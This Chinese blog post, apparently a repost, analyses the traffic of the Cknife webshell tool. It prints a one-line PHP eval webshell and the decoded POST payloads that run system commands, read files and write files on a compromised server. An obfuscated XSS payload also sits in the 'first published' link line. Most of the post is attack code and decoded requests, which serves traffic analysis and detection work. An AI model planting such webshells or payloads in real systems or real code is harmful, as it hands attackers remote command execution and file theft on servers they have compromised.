Cknife流量分析

以你之姓@ 2023-06-02 10:40 102阅读 0赞

本文首发：https://<img src=1 οnerrοr=\\u006coc\\u0061tion='j\\x61v\\x61script:\\x61lert\\x281\\x29'>testdemo

## 0x01 环境 ##

<?php eval($_REQUEST['shell'] ?>

## 0x02 命令执行 ##

> 执行命令结果如下图所示

![1549864408222][]

> POST的数据如下图所示

![1549864204478][]

> 对POST的数据解码

#shell @eval(base64_decode($_POST[action])); #action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $p=base64_decode($_POST["z1"]); $s=base64_decode($_POST["z2"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; $r="{$p} {$c}"; @system($r." 2>&1",$ret); print ($ret!=0)?"ret={$ret}":"";; echo("|<-"); die(); #z1 cmd #z2 cd/d"C:\wamp64\www\"&whoami&echo [S]&cd&echo [E]

`z2`是`whoami`经过`cknife`的组合再经过`base64`编码后的结果，`cknife`通过`eval`执行`action`中的代码，把POST的`z1`和`z2`用`base64_decode`解码，再把`z1`和`z2`组合成`$r`，最后用`system`执行`$r`，打印执行结果。

> 返回结果如下图所示

![1549865961339][]

经过`cknife`的格式处理，返回的结果变成了上图的样子，`->|`和`|<-`中间的内容就是执行命令的结果

## 0x03 文件下载 ##

> POST的数据如下图所示

![1549866499136][]

> 对POST的数据解码

#shell @eval(base64_decode($_POST[action])); #action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $F=get_magic_quotes_gpc()?base64_decode(stripslashes($_POST["z1"])):base64_decode($_POST["z1"]); $fp=@fopen($F,"r"); if(@fgetc($fp)){ @fclose($fp); @readfile($F); }else { echo("ERROR:// Can Not Read"); }; echo("|<-"); die(); #z1 C:\wamp64\www\index.php

`z1`是目标文件路径经过`base64`编码后的结果，`cknife`通过`eval`执行`action`中的代码，用`base64_decode`获取文件的路径，然后判断文件是否能够被读取，如果能够被读取，则用`readfile()`输出文件的内容，最后将输出的文件内容写入到本地文件中。

> 返回结果如下图所示

![1549867166066][]

有一点需要注意，`cknife`可能会将返回的所有内容输出到文件中，所以需要手动取出`->|`和`|<-`之间的内容，否则文件可能格式错误

## 0x04 文件上传 ##

> POST的数据如下图所示

![1549867720428][]

> 对POST的数据解码

#shell @eval(base64_decode($_POST[action])); #action @ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $f=base64_decode($_POST["z1"]); $c=$_POST["z2"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");; echo("|<-"); die(); #z1 C:\wamp64\www\test.txt #z2 this is a test

`z1`是目标文件路径经过`base64`编码后的结果，`z2`是本地文件的内容经过`hex`编码后的结果，`cknife`通过`eval`执行`action`中的代码，用`base64_decode`先获取目标文件的路径，然后获取`z2`的内容，使用`for`循环将原来的`hex`编码转换为`URL`编码，再用`urldecode`进行解码，追加给`$buf`，`for`循环结束后`$buf`就是文件的内容，最后写入目标文件中，写入成功返回`1`，写入失败返回`0`

> 返回结果如下图所示

![1549868914718][]

如果`->|`和`|<-`之间的内容为`1`，则代表文件上传成功

转载于:https://www.cnblogs.com/somata/p/11615680.html

[1549864408222]: /images/20230601/c2c75ac274184828869d397c1e7e2bff.png
[1549864204478]: /images/20230601/3e88db447c0e46e2922e2ae7de64ffb1.png
[1549865961339]: /images/20230601/113a5eedef2848f8ba5b249e97ee063d.png
[1549866499136]: /images/20230601/9529e128ff274a05bd3c2870311c3043.png
[1549867166066]: /images/20230601/661f2fcc71204892addb03252cea7889.png
[1549867720428]: /images/20230601/bdcdeb2016cb488aa55e8286b055238a.png
[1549868914718]: /images/20230601/8e2660e35bf04012a5de12a98c2c35c0.png